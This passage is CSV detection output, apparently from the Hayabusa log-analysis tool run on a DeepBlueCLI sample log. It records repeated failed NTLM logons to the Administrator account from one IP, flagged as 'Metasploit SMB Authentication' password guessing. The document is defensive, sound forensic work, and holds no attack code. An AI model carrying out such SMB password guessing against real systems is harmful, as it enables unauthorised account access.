Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jx6qTASzFp830ud6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.885 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b4L8HtBWlmAMTjCf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F4hVfTwibHreepku : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.966 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3TlapK211UT8SO0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.059 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mzzw3uPkn2cgtmlF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.059 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aPnfUjwJei5E5BD7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mm1k0eeKAYokIbDg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.133 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w8TDNcJ3LMyNtUe1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.166 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogKKslkdXvc9f130 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgoy6gMfe5N0UiP5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lfjf3d6I8TsBOzvc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.289 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vs8DG8s81oOwYoI7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LFkgN1aDoYkQ4qrT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.427 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.459 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KMwLokYpcFIYHegd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.459 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.507 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6oKradBV4ERsQnKs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.507 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0qPzlzfmgrbYTKqQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.549 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKYlBm2lhobHzbjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DBMu96oqO9tb3f4O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.623 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tO04Q3eYdzyuy51v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.664 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FrIa2UrSrfdhkDCx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: axhhyMrGl95O16Vg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.741 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.783 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: atjvfi8QeEDluhL2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.783 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.827 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HPBZKUiiKeyQwSr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.827 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2SmitfyjO4mxqw5E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.872 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nrq1g8ktTQbPTXqn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.904 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 943GV3t1muba5IQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.947 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.982 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HPVd28zf85AxdGqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.982 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D6evoSSxcKkHspuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.023 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C4fznmrnIdUH7DzG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.099 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AwrrYjUV41P0K5Jh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.099 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4RBZrALEnH5BKP9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LU6uWH4gs4iHP7rV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCfhZDAH8ufk77zN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.237 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TE9pw4UeRldGeKVc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8PKE05MqxE5TwXT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.312 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GIE5fmddOPBbCM3u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pveyo4Czx6KWKCGn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.414 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zPyyHaRnBec7Qg2x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.453 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3b8mudJp5mdkiEW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.486 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Y6mjLaCzR28Q2qK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.563 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dMsNKWEjeCYYQVqw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.563 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I7c5fENhkwO6QfEU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.605 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cr1wAeMhPgVpwV82 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fErpp9Ww6LO37C9k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.692 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CYsNpBsGT5zOKe3p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.866 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgzUk1Dmttm4AQ3s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.866 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hp0c3YYyOSJuBHCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 